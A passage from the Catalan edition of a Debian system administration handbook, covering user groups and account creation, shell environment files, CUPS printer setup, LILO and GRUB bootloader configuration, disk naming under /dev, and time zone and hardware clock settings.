Alternativament, l'usuari pot establir el bit setgid al directori, el qual fa que els fitxers creats en aquest directori pertanyin automàticament al grup correcte. Per a més detalls, vegeu la barra lateral SEGURETAT directori setgid i sticky bit.

L'ordre id mostra l'estat actual d'un usuari, amb el seu identificador personal (variable uid), el grup principal actual (variable gid), i la llista de grups als quals pertany (variable groups).

Les ordres addgroup i delgroup afegeixen o suprimeixen un grup, respectivament. L'ordre groupmod modifica la informació d'un grup (el seu gid o identificador). L'ordre gpasswd grup canvia la contrasenya del grup, mentre que l'ordre gpasswd -rgrup el suprimeix.

SUGGERIMENTgetent

L'ordre getent («get entries» o “obté entrades”) comprova les bases de dades del sistema de la manera estàndard, utilitzant les funcions de biblioteca apropiades, que al seu torn criden els mòduls NSS configurats al fitxer /etc/nsswitch.conf. L'ordre pren un o dos arguments: el nom de la base de dades on cercar i una clau de cerca opcional. Per tant, l'ordre getent passwd rhertzog donarà la informació de la base de dades d'usuaris sobre l'usuari rhertzog.

8.5. Crear comptes

Una de les primeres accions que un administrador ha de fer al configurar una nova màquina és crear els comptes d'usuari. Això es fa normalment utilitzant l'ordre adduser que pren un nom d'usuari com a argument per a crear el nou usuari.

L'ordre adduser fa algunes preguntes abans de crear el compte, però el seu ús és bastant senzill. El seu fitxer de configuració, /etc/adduser.conf, inclou tots els paràmetres interessants: es pot utilitzar per establir automàticament una quota per a cada nou usuari mitjançant la creació d'una plantilla d'usuari, o per canviar la ubicació dels comptes d'usuari; aquest últim rarament és usat, però pot ser útil quan teniu un gran nombre d'usuaris i voleu repartir els seus comptes en diversos discos, per exemple. També podeu triar un intèrpret d'ordres predeterminat diferent.

TORNAR A LES BASES Quota

El terme “quota” es refereix a un límit en recursos de màquina que un usuari pot utilitzar. Això es refereix freqüentment a l'espai de disc.

La creació d'un compte afegeix al directori inicial de l'usuari el contingut de la plantilla /etc/skel/. Això proporciona a l'usuari un conjunt de directoris i fitxers de configuració estàndard.

En alguns casos serà útil afegir un usuari a un grup (a part del seu grup “principal” per defecte) per tal de concedir-li permisos addicionals. Per exemple, un usuari que està inclòs al grup audio pot accedir als dispositius d'àudio (vegeu la barra lateral TORNAR A LES BASES Permisos d'accés a dispositius). Això es pot aconseguir amb una ordre com ara adduser usuari grup.

TORNAR A LES BASES Permisos d'accés a dispositius

En Unix, cada dispositiu perifèric de maquinari es representa amb un fitxer especial, normalment emmagatzemat a l'arbre de fitxers sota /dev/ (de l'anglès «DEVices» o dispositius). Existeixen dos tipus de fitxers especials segons la naturalesa del dispositiu: de "mode de caràcter" i de "mode de bloc", on cada mode permet només un nombre limitat d'operacions. Mentre que el mode de caràcter limita la interacció amb les operacions de lectura/escriptura, el mode de bloc també permet la cerca dins de les dades disponibles. Finalment, cada fitxer especial s'associa amb dos nombres («major» i «menor») que identifiquen el dispositiu al nucli d'una manera única. Aquest fitxer, creat per l'ordre mknod, simplement té un nom simbòlic (i més entenedor).

Els permisos d'un fitxer especial s'associen als permisos necessaris per accedir al dispositiu en si. Per tant, un fitxer com /dev/mixer, que representa el mesclador d'àudio, només té permisos de lectura/escriptura per a l'usuari «root» i pels membres del grup audio. Només aquests usuaris poden operar el mesclador d'àudio.

Cal assenyalar que la combinació d'udev i policykit pot afegir permisos addicionals per permetre als usuaris connectats físicament a la consola (però no a través de la xarxa) per accedir a certs dispositius.

8.6. Entorn d'intèrpret d'ordres

Els intèrprets d'ordres (o «shells» en anglès) poden ser el primer punt de contacte d'un usuari amb l'ordinador, i per tant han de ser bastant “amigables”. La majoria utilitzen scripts d'inicialització que permeten la configuració del seu comportament (compleció automàtica, text indicatiu, etc.).

bash, la «shell» estàndard, utilitza l'«script» d'inicialització /etc/bash.bashrc per a les «shells» “interactives” i /etc/profile per a les «shells» “d'inici de sessió”.

En termes senzills, s'invoca un intèrpret d'ordres d'inici de sessió quan inicieu la sessió a la consola tant localment com remota a través d'ssh, o quan executeu una ordre explícita de bash --login. Independentment de si és un intèrpret d'ordres d'inici de sessió o no, una «shell» pot ser interactiva (en un terminal de tipus xterm, per exemple); o no interactiva (quan executa un «script»).

DESCOBERTA Altres intèrprets d'ordres, altres «scripts»

Cada intèrpret d'ordres té una sintaxi específica i els seus propis fitxers de configuració. Així, zsh utilitza els fitxers a /etc/zsh/; tcsh utilitza /etc/csh.cshrc, /etc/csh.login i /etc/csh.logout. Les pàgines man d'aquests programes documenten els fitxers que utilitzen.

Per a bash, és útil instal·lar i activar el “completat automàtic”. El paquet bash-completion conté aquests “completats” per als programes més comuns i normalment està habilitat si el fitxer de configuració .bashrc es va copiar de /etc/skel/.bashrc. Altrament, es pot habilitar mitjançant /etc/bash.bashrc (simplement descomentant unes poques línies) o /etc/profile.

TORNAR A LES BASES Compleció automàtica

Molts intèrprets d'ordres proporcionen una característica de compleció, que permet que l'intèrpret completi automàticament un nom o argument d'ordre escrit parcialment quan l'usuari premi la tecla Tab. Això permet als usuaris treballar més eficientment i ser menys propensos a errors.

Aquesta funció és molt potent i flexible. És possible configurar el comportament segons cada ordre. Per tant, el primer argument que segueix l'apt es proposarà d'acord amb la sintaxi d'aquesta ordre, fins i tot si no coincideix amb cap fitxer (en aquest cas, les opcions possibles són install, remove, upgrade, etc.).

TORNAR A LES BASES La titlla, una drecera a «HOME»

La titlla sovint s'utilitza per indicar el directori al qual la variable d'entorn, HOME, assenyala (essent el directori inicial de l'usuari, com ara /home/rhertzog/). Els intèrprets d'ordres automàticament fan la substitució: ~/hello.txt esdevé /home/rhertzog/hello.txt.

La titlla també permet l'accés al directori inicial d'un altre usuari. Per tant, ~rmas/bonjour.txt és sinònim de /home/rmas/bonjour.txt.

A més d'aquests «scripts» comuns, cada usuari pot crear el seu propi ~/.bashrc i ~/.bash_profile per configurar el seu intèrpret d'ordres. Els canvis més comuns són l'addició d'àlies; aquestes són paraules que són reemplaçades automàticament amb l'execució d'una ordre, el que fa que sigui més ràpid invocar aquesta ordre. Per exemple, podeu crear l'àlies la per a l'ordre ls -la | less; llavors només heu d'escriure la per inspeccionar els continguts d'un directori en detall. Tingueu en compte que cal reinicialitzar l'intèrpret de comandes després d'afegir un àlies, per exemple, iniciant-ne un altre.

TORNAR A LES BASES Variables d'entorn

Les variables d'entorn permeten l'emmagatzematge de la configuració global per a l'intèrpret d'ordres o altres programes executats. Són contextuals (cada procés té el seu propi conjunt de variables d'entorn) però heretables. Aquesta última característica ofereix la possibilitat que un intèrpret d'ordres d'entrada declari variables que es transmetran a tots els programes que executa.

Establir les variables d'entorn per defecte és un element important de la configuració de l'intèrpret d'ordres. Deixant de banda les variables específiques d'un intèrpret d'ordres, és preferible posar variables globals de sistema al fitxer /etc/environment, ja que és utilitzat pels diversos programes que poden iniciar una sessió d'intèrpret d'ordres. Les variables típicament definides allà inclouen ORGANIZATION, que normalment conté el nom de l'empresa o organització, i HTTP_PROXY, que indica l'existència i ubicació d'un «proxy» HTTP. Altres opcions inclouen establir variables globals de sistema mitjançant scripts a /etc/profile.d, o variables globals de sessió mitjançant .pam_environment o .profile, on aquest últim pot reescriure qualsevol definició continguda al primer. El fitxer /etc/default/locale està destinat a contenir variables d'entorn globals de sistema relacionades amb la localització («locale»).

SUGGERIMENT Tots els intèrprets d'ordres configurats idènticament

Els usuaris sovint volen configurar el seu inici de sessió i les seves «shells» interactives de la mateixa manera. Per fer-ho, trien interpretar (usant la comanda “source”) el contingut de ~/.bashrc al fitxer ~/.bash_profile. No obstant això, el fitxer predeterminat ~/.profile ja carrega el ~/.bashrc i ja no cal crear ~/.bash_profile amb aquesta finalitat, excepte que voleu personalitzar encara més el vostre intèrpret d'ordres (vegeu bash(1) per saber quins fitxers són llegits per bash en el cas de «shells» per inicis de sessió). També és possible fer el mateix amb els fitxers comuns a tots els usuaris (executant /etc/bash.bashrc des de /etc/profile, que també es fa ara per defecte).

8.7. Configuració d'impressores

La configuració de la impressora solia causar molts maldecaps tant als administradors com als usuaris. Aquests maldecaps són ara principalment cosa del passat gràcies a CUPS, el servidor d'impressió lliure que utilitza l'IPP, d'«Internet Printing Protocol» o “protocol d'impressió d'internet”.

Debian distribueix CUPS dividit entre diversos paquets. El cor del sistema és el planificador, cupsd, que està al paquet cups-daemon. cups-client conté programes d'utilitat per interactuar amb el servidor, cupsd. lpadmin és probablement la utilitat més important, ja que és crucial per a la configuració d'una impressora, però també hi ha instal·lacions per activar o desactivar una cua d'impressora, veure o eliminar tasques d'impressió i mostrar o establir opcions d'impressora. El marc de treball CUPS es basa en el sistema d'impressió System V, però hi ha un paquet de compatibilitat, cups-bsd, que permet l'ús d'ordres com lpr, lpq i lprm del sistema d'impressió tradicional BSD.

COMUNITAT CUPS

CUPS és un projecte i una marca registrada propietat de i gestionada per Apple, Inc. Abans de la seva adquisició per Apple, es coneixia com el «Common Unix Printing System» (o “Sistema Comú Unix d'Impressió”).

→ https://www.cups.org/

El planificador gestiona les tasques d'impressió, i aquestes travessen un sistema de filtratge per produir un fitxer que la impressora entendrà i imprimirà. El sistema de filtratge el proporciona el paquet cups-filters juntament amb els paquets printer-driver-*. CUPS, en combinació amb aquests paquets és la base del sistema d'impressió de Debian.

Les impressores modernes fabricades i venudes en els últims deu anys tenen gairebé totes la capacitat d'AirPrint, i CUPS i els cups-filters de Debian Bullseye tenen tot el que es necessita per aprofitar aquesta facilitat en xarxa. En essència, aquestes impressores són impressores IPP i s'ajusten perfectament per a un sistema d'impressió sense controladors, reduint el sistema a CUPS més cups-filters. Es pot prescindir d'un paquet de controladors per a impressores, i ja no es requereix programari d'impressió no lliure de venedors com ara Canon i Brother. Una impressora USB pot aprofitar aquest avantatge de les impressores modernes amb el paquet ippusbxd.

L'ordre apt install cups instal·larà CUPS i els filtres. També s'instal·larà el recomanat printer-driver-gutenprint per proporcionar un controlador per a una àmplia gamma d'impressores, però, tret que la impressora estigui operada sense controladors, pot ser necessari un controlador alternatiu per al dispositiu en particular.

Com a paquet recomanat per cups-daemon, cups-browsed estarà a les cues d'impressió del sistema i de xarxa, i les impressores modernes es poden descobrir automàticament i configurar a partir de les seves transmissions DNS-SD (Bonjour). Les impressores USB s'hauran de configurar manualment tal com es descriu al següent paràgraf.

El sistema d'impressió s'administra fàcilment a través d'una interfície web accessible a l'adreça local http://localhost:631/. Els membres del grup lpadmin poden afegir i eliminar impressores USB i en xarxa i administrar la majoria dels aspectes del seu comportament. Les tasques d'administració similars també es poden dur a terme a través de la interfície gràfica proporcionada per un entorn d'escriptori o la interfície gràfica system-config-printer (del paquet Debian homònim).

8.8. Configurar el carregador d'arrencada

Probablement ja és funcional, però sempre és bo saber com configurar i instal·lar el carregador d'arrencada en cas que desaparegui del «Master Boot Record». Això pot ocórrer després de la instal·lació d'un altre sistema operatiu, com ara Windows. La següent informació també us pot ajudar a modificar la configuració del gestor d'arrencada si calgués.

TORNAR A LES BASES «Master boot record»

El «Master Boot Record» (MBR, o Registre Mestre d'Arrencada) ocupa els primers 512 bytes del primer disc dur, i és el primer que es carrega per part de la BIOS per lliurar el control a un programa capaç d'arrencar el sistema operatiu desitjat. En general, un carregador d'arrencada s'instal·la al MBR, eliminant el seu contingut anterior.

8.8.1. Identificació dels discos

CULTURA udev i /dev/

El directori /dev/ alberga tradicionalment els anomenats fitxers "especials", destinats a representar els perifèrics del sistema (vegeu la barra lateral TORNAR A LES BASES Permisos d'accés a dispositius). Antigament solia contenir tots els fitxers especials que podien ser utilitzats. Aquest enfocament tenia una sèrie de inconvenients entre els quals el fet que restringia el nombre de dispositius que es podia utilitzar (a causa de ser una llista prederminada de noms), i que era impossible saber quins fitxers especials eren realment útils.

Avui dia la gestió d'arxius especials és totalment dinàmica i encaixa millor amb la naturalesa dels dispositius d'ordinador que es poden utilitzar en calent. El nucli coopera amb udev (Secció 9.11.3, «Com funciona udev») per crear-los i eliminar-los segons sigui necessari quan els dispositius corresponents apareixen i desapareixen. Per aquesta raó, /dev/ no necessita ser persistent i és, per tant, un sistema de fitxers basat en la RAM que comença buit i només conté les entrades rellevants.

El nucli comunica una gran quantitat d'informació sobre qualsevol dispositiu nou afegit i lliura un parell de nombres principals/minor per identificar-lo. Amb aquesta informació udevd pot crear el fitxer especial amb el nom i permisos que vulgui. També pot crear àlies i realitzar accions addicionals (com ara tasques d'inicialització o registre). El comportament dudevd és conduït per un gran conjunt (personalitzable) de regles normalment ubicades a /lib/udev/rules.d/ i /etc/udev/rules.d/.

Amb noms assignats dinàmicament, podeu mantenir el mateix nom per a un dispositiu donat, independentment del connector utilitzat o l'ordre de connexió, fet que és especialment útil quan utilitzeu diversos perifèrics USB. La primera partició en el primer disc dur es pot anomenar /dev/sda1 per a la compatibilitat cap enrere, o /dev/root-partition si ho preferiu, o fins i tot ambdues alhora, ja que udevd es pot configurar per crear automàticament un enllaç simbòlic.

Antigament alguns mòduls del nucli es carregaven automàticament quan s'intentava accedir al fitxer de dispositiu corresponent. Això ja no passa, i el fitxer especial del perifèric ja no existeix abans de carregar el mòdul; això no és problema, ja que la majoria dels mòduls es carreguen a l'arrencada gràcies a la detecció automàtica del maquinari. Però per a perifèrics no detectables (com discos durs molt antics o ratolins PS/2), això no funciona. Considereu afegir els mòduls floppy, psmouse i mousedev a /etc/modules o /etc/modules-load.d/ per tal de forçar-ne la càrrega a l'arrencada.

La configuració del carregador d'arrencada ha d'identificar els diferents discos durs i les seves particions. Linux utilitza fitxers especials de “bloc” ubicats al directori /dev/ per a aquest propòsit. Des de Debian Squeeze, la nomenclatura per a discos durs ha estat unificada pel nucli Linux, i tots els discos durs (IDE/PATA, SATA, SCSI, USB, IEEE 1394) ara estan representades per /dev/sd*.

Cada partició està representada pel seu número al disc on resideix: per exemple, /dev/sda1 és la primera partició del primer disc, i /dev/sdb3 és la tercera partició del segon disc.

L'arquitectura de PC (o “i386”, incloent el seu cosí més jove “amd64”) s'ha limitat durant molt de temps a utilitzar el format de taula de particions “MS-DOS”, que només permet quatre particions “primàries” per disc. Per anar més enllà de la limitació d'aquest esquema, una de les particions ha de ser creada com a partició "estesa", i llavors pot contenir particions “secundàries” addicionals. Aquestes particions secundàries estan numerades a partir de 5. Per tant, la primera partició secundària podria ser /dev/sda5, seguida de /dev/sda6, etc.

Una altra restricció del format de taula de particions MS-DOS és que només permet discos de fins a 2 TiB de mida, que comença a ser un problema real amb els discs recents.

Un nou format de taula de particions anomenat GPT («GUID Partition Table» o “Taula de particions GUID”) relaxa aquestes restriccions sobre el nombre de particions (permet fins a 128 particions quan s'utilitza la configuració estàndard) i sobre la mida dels discs (fins a 8 ZiB, que són més de 8 mil milions de terabytes). Si teniu la intenció de crear moltes particions físiques al mateix disc, hauríeu d'assegurar-vos que esteu creant la taula de particions en el format GPT al particionar el disc.

ULLADA RÀPIDA El «Globally Unique Identifier» (GUID) o “l'identificador únic global”

Utilitzant GPT, el tipus de partició es representa com un identificador universalment únic de 16 bytes de longitud, també conegut com a “Identificador Global Únic” o «Globally Unique Identifier» (GUID), que forma part de l'estàndard UEFI (vegeu NOTA UEFI, un reemplaçament modern per la BIOS). En comparació amb el codi hexadecimal utilitzat per a determinar el tipus de partició en el format de taula MS-DOS, tindreu dificultats per a intentar recordar aquests identificadors. Afortunadament, hi ha llistes amb tots els ID que podeu utilitzar per crear receptes de partició per utilitzar amb sfdisk o per fer «preseeding» amb l'instal·lador de Debian.

→ https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs

No sempre és fàcil recordar quin disc està connectat a quin controlador SATA, o en tercera posició a la cadena SCSI, especialment perquè la denominació dels discos durs en calent (que inclou entre d'altres la majoria de discs SATA i discos externs) pot canviar d'una arrencada a una altra. Afortunadament, udev crea, a més de /dev/sd*, enllaços simbòlics amb un nom fix, que podeu utilitzar si desitgeu identificar un disc dur d'una manera no ambigua. Aquests enllaços simbòlics s'emmagatzemen a /dev/disk/by-id/. En una màquina amb dos discos físics, per exemple, es podria trobar el següent:

mirexpress:/dev/disk/by-id# ls -l total 0 lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1 lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1 [...] mirexpress:/dev/disk/by-id#

Tingueu en compte que alguns discos es llisten diverses vegades (perquè es comporten simultàniament com a discos ATA i com a discos SCSI), però la informació rellevant està principalment en el model i els números de sèrie dels discos, amb els quals podeu trobar el fitxer del perifèric. Mentre que els enllaços a /dev/disk/by-id/ es creen utilitzant el número de sèrie i el camí físic del dispositiu, hi ha enllaços més útils, per exemple /dev/disk/by-label/ (basats en etiquetes donades), /dev/disk/by-uuid/ (basat en identificadors únics, que poden canviar al reformatejar un dispositiu usant mkfs.* o mkswap),/dev/disk/by-path/ (basat en el camí físic més curt), i /dev/disk/by-partlabel/ i /dev/disk/by-partuuid/ (només les particions amb etiquetes GPT i els seus identificadors únics). Si utilitzeu aquests enllaços, per exemple a /etc/fstab, sempre doneu preferència als identificadors únics abans que a les etiquetes. També podeu obtenir i canviar aquesta informació per a cada partició o dispositiu utilitzant les ordres lsblk i blkid.

Els fitxers de configuració d'exemple donats en les següents seccions es basen en la mateixa configuració: un sol disc SATA, on la primera partició és una instal·lació antiga de Windows i la segona conté Debian GNU/Linux.

ALTERNATIVA El carregador d'arrencada LILO

LILO («Linux Loader» o carregador Linux) és el carregador d'arrencada més antic — sòlid però rústic. Escriu l'adreça física del nucli per arrencar al MBR, per la qual cosa cada actualització de LILO (o del seu fitxer de configuració) ha de ser seguida per l'execució l'ordre lilo. Si s'oblida fer-ho, el sistema no podrà arrencar si el nucli antic s'ha eliminat o substituït perquè el nou no estarà en la mateixa ubicació del disc.

El fitxer de configuració de LILO és /etc/lilo.conf; un fitxer senzill d'una configuració estàndard s'il·lustra a l'exemple següent.

Exemple 8.4. Fitxer de configuració de LILO

# El disc on el LILO s'ha d'instal·lar # Indicant un disc i no una partició # feu que el LILO s'instal·li a l'MBR. boot=/dev/sda # la partició que conté Debian root=/dev/sda2 # l'ítem que es carregarà per defecte default=Linux # la imatge de nucli més recent image=/vmlinuz label=Linux initrd=/initrd.img read-only # nucli antic (per si el nucli recentment instal·lat no funciona) image=/vmlinuz.old label=LinuxOLD initrd=/initrd.img.old read-only optional # només per a l'arrencada dual Linux/Windows other=/dev/sda1 label=Windows

Segons la petició del mantenidor i autor original de lilo, el carregador d'arrencada ha estat eliminat de Debian 11 Bullseye i és poc probable que torni.

8.8.2. Configuració de GRUB 2

GRUB («Grand Unified Bootloader» o “gran gestor d'arrencada unificat”) és més recent. No és necessari invocar-lo després de cada actualització del nucli; GRUB sap com llegir els sistemes de fitxers i trobar tot sol la posició al disc del nucli. Per instal·lar-lo a l'MBR del primer disc, simplement escriviu grub-install /dev/sda. Això sobreescriurà l'MBR, així que aneu amb compte de no sobreescriure una ubicació incorrecta. Encara que també és possible instal·lar GRUB en un registre d'arrencada de partició, cal tenir en compte que normalment és un error i fer grub-install /dev/sda1 no és el mateix que grub-install /dev/sda.

NOTA Noms de disc per al GRUB

GRUB només pot identificar discs durs basant-se en la informació proporcionada per la BIOS. (hd0) correspon al primer disc detectat, (hd1) al segon, etc. En la majoria dels casos, aquest ordre correspon exactament a l'ordre habitual dels discos amb Linux, però els problemes poden ocórrer quan s'ajunten discos SCSI i IDE. GRUB solia emmagatzemar les correspondències detectades al fitxer /boot/grub/device.map. Actualment s'evita aquest problema mitjançant l'ús d'identificadors únics universals (UUIDs) o etiquetes de sistema de fitxers al generar grub.cfg. No obstant això, el fitxer de mapa de dispositius encara no està obsolet, ja que es pot utilitzar per sobreescriure quan l'entorn actual és diferent del de l'arrencada. Si hi trobeu errors (perquè sabeu que la vostra BIOS detecta unitats en un ordre diferent), corregiu-los manualment i executeu grub-install de nou. grub-mkdevicemap pot ajudar a crear un fitxer device.map des del qual començar.

Les particions també tenen un nom específic amb GRUB. Quan utilitzeu particions “clàssiques” en format MS-DOS, la primera partició del primer disc està etiquetada com a (hd0,msdos1), la segona (hd0,msdos2), etc.

La configuració de GRUB 2 s'emmagatzema a /boot/grub/grub.cfg, però aquest fitxer (a Debian) es genera a partir d'altres. Aneu amb compte de no modificar-lo a mà, ja que aquestes modificacions locals es perdran la pròxima vegada que s'executi update-grub (que pot ocórrer després d'actualitzar diversos paquets). Les modificacions més comunes del fitxer /boot/grub/grub.cfg (per afegir paràmetres de la línia d'ordres al nucli o canviar la durada que es mostra el menú, per exemple) es fan a través de variables a /etc/default/grub. Per afegir entrades al menú podeu crear un fitxer /boot/grub/custom.cfg o modificar el fitxer /etc/grub.d/40_custom. Per a configuracions més complexes, podeu modificar altres fitxers a /etc/grub.d, o afegir-n'hi; aquests scripts haurien de retornar fragments de configuració, possiblement fent ús de programes externs. Aquests scripts són els que actualitzaran la llista de nuclis per arrencar: 10_linux té en compte els nuclis Linux instal·lats; 20_linux_xen té en compte els sistemes virtuals Xen, i 30_os-prober afegeix altres sistemes operatius existents (Windows, OS X, Hurd), imatges de nucli, i opcions d'accés BIOS/EFI al menú.

COMPTE error: symbol `grub_*' not found

Un dels problemes més freqüents quan s'utilitza GRUB és que els usuaris es troben amb un error com error symbol `grub_calloc' not found i ja no poden arrencar el sistema. La majoria de les vegades aquest error és causat per la instal·lació d'una versió actualitzada del GRUB que fa que els mòduls nous de /boot/grub siguin incompatibles amb les imatges antigues del nucli en el sector d'arrencada al qual salta el microprogramari en arrencar la màquina. Això passa en sistemes que estan configurats per executar grub-install a un dispositiu de destí que no és realment el que utilitza el microprogramari per arrencar el vostre sistema (per exemple després de reemplaçar discos o moure'ls - es pot veure el problema quan s'executa dpkg-reconfigure grub-pc mostrant el dispositiu de destí incorrecte). Amb el llançament de Debian 11 Bullseye (el canvi també es va migrar a Buster) el procés d'actualització ara comprova aquest problema i avorta amb un error en el cas que trobi aquesta circumstància.

→ https://bugs.debian.org/bug=966575#95

Setting up grub-pc (2.02+dfsg1-20+deb10u4) ... /dev/disk/by-id/[..] does not exist, so cannot grub-install to it! You must correct your GRUB install devices before proceeding: DEBIAN_FRONTEND=dialog dpkg --configure grub-pc dpkg --configure -a dpkg: error processing package grub-pc (--configure): installed grub-pc package post-installation script subprocess returned error exit status 1

Per solucionar el problema i continuar el procediment d'actualització, només cal seguir el consell i executar com a superusuari les ordres donades pel missatge d'error.

8.8.3. Ús del GRUB amb EFI i Secure Boot

L'ús de GRUB per arrencar un sistema BIOS tradicional (antic o amb UEFI-CSM) o un sistema UEFI és molt diferent. Afortunadament, l'usuari no necessita conèixer les diferències perquè Debian proporciona diferents paquets per a cada propòsit i l'instal·lador es preocupa automàticament de quin/s triar. El paquet grub-pc és escollit per a sistemes antics, on GRUB està instal·lat l'MBR, mentre que els sistemes UEFI requereixen grub-efi-arquitectura, on GRUB està instal·lat a la partició EFI System (ESP). Aquest últim requereix una taula de particions GTP així com una partició EFI.

→ https://wiki.debian.org/Grub2#UEFI_vs_BIOS_boot

Per canviar un sistema existent (suportant UEFI) del mode d'arrencada antic al mode UEFI no només cal canviar els paquets GRUB del sistema, sinó també ajustar la taula de particions i el per crear una partició EFI (i probablement incloent-hi el redimensionat de les particions existents per crear l'espai lliure necessari). Per tant, es tracta d'un procés bastant elaborat i que no podem cobrir-lo aquí. Afortunadament, hi ha alguns manuals de “blòguers” que descriuen els procediments necessaris.

Si utilitzeu un sistema amb «Secure Boot» habilitat i heu instal·lat shim-signed (vegeu la barra lateral CULTURA Arrencada segura i el gestor d'arrencada «shim»), també heu d'instal·lar grub-efi-arquitectura-signed. Aquest paquet no s'inclou automàticament, només si s'ha activat la instal·lació del paquet recomanat.

8.9. Altres configuracions: sincronització de temps, registres, accés compartit…

Els molts elements enumerats en aquesta secció són bons de saber per a qualsevol que vulgui dominar tots els aspectes de la configuració del sistema GNU/Linux. No obstant això, són tractats breument i sovint us adreçaran cap a la documentació.

8.9.1. Fus horari

TORNAR A LES BASES Enllaços simbòlics

Un enllaç simbòlic és un punter a un altre fitxer. Quan l'accediu, s'obre el fitxer al qual apunta. L'eliminació de l'enllaç no provocarà la supressió del fitxer al qual apunta. De la mateixa manera, no té el seu propi conjunt de permisos, sinó que té els permisos del fitxer apuntat. Finalment, pot apuntar a qualsevol tipus de fitxer: directoris, fitxers especials («sockets», «named pipes» o canonades amb nom , fitxers de dispositiu, etc.), fins i tot altres enllaços simbòlics.

L'ordre ln -s objectiu nom-enllaç crea un enllaç simbòlic, anomenat nom-enllaç, que apunta a l'objectiu.

Si l'objectiu no existeix, llavors l'enllaç està “trencat” i accedir-hi donarà lloc a un error indicant que el fitxer de destinació no existeix. Si l'enllaç apunta a un altre enllaç, tindreu una “cadena” d'enllaços que es converteix en un “cicle” si un dels objectius apunta a un dels seus predecessors. En aquest cas, l'accés a un dels enllaços del cicle donarà lloc a un error específic (“massa nivells d'enllaços simbòlics”); això significa que el nucli renuncia a continuar després de diverses voltes al cicle.

La zona horària, configurada durant la instal·lació inicial, és un element de configuració per al paquet tzdata. Per modificar-la, utilitzeu l'ordre dpkg-reconfigure tzdata, que permet triar de manera interactiva la zona horària que s'utilitzarà. La configuració s'emmagatzema al fitxer /etc/timezone. Addicionalment, /etc/localtime esdevé un enllaç simbòlic cap al fitxer corresponent de /usr/share/zoneinfo; el fitxer que conté les regles que regeixen les dates en què l'horari d'estiu està actiu (DST), per als països que l'utilitzen.

Quan calgui canviar temporalment la zona horària, utilitzeu la variable d'entorn TZ, que té prioritat sobre el valor predeterminat del sistema configurat:

$ date Thu Sep 2 22:29:48 CEST 2021 $ TZ="Pacific/Honolulu" date Thu 02 Sep 2021 10:31:01 AM HST

NOTA Rellotge del sistema, rellotge de maquinari

Hi ha dues fonts del temps en un ordinador. La placa base d'un ordinador té un rellotge de maquinari («hardware clock»), anomenat “rellotge CMOS”. Aquest rellotge no és molt precís i té uns temps d'accés bastant lents. El nucli del sistema operatiu té el seu rellotge propi, el rellotge de programari, que manté actualitzat amb els seus propis mitjans (possiblement amb l'ajuda de servidors de temps, vegeu Secció 8.9.2, «Sincronització del temps»). Aquest rellotge de sistema és generalment més precís, especialment perquè no necessita accés a variables de maquinari. No obstant això, com que només existeix en memòria, es perd cada vegada que la màquina s'inicia, contràriament al rellotge CMOS, que té una bateria i, per tant, “sobreviu” als reinicis o aturades de la màquina. El rellotge del sistema, per tant, s'estableix a partir del rellotge CMOS durant l'arrencada, i aquest és actualizat a l'aturada (per tenir en compte possibles canvis o correccions si s'ha ajustat incorrectament).

A la pràctica hi ha un problema, ja que el rellotge CMOS no és més que un comptador i no conté informació sobre la zona horària. Hi ha una elecció a fer respecte a la seva interpretació: o bé el sistema considera que funciona en temps universal (UTC, anteriorment GMT), o en temps local. Aquesta tria podria ser un simple canvi, però les coses són realment més complicades: com a resultat de l'horari d'estiu, aquest desplaçament no és constant. El resultat és que el sistema no té manera de determinar si el desplaçament és correcte, especialment prop dels períodes de canvis d'hora. Com que sempre és possible reconstruir l'hora local a partir de l'hora universal i la informació de la zona horària, recomanem fermament tenir el rellotge CMOS en l'hora universal.

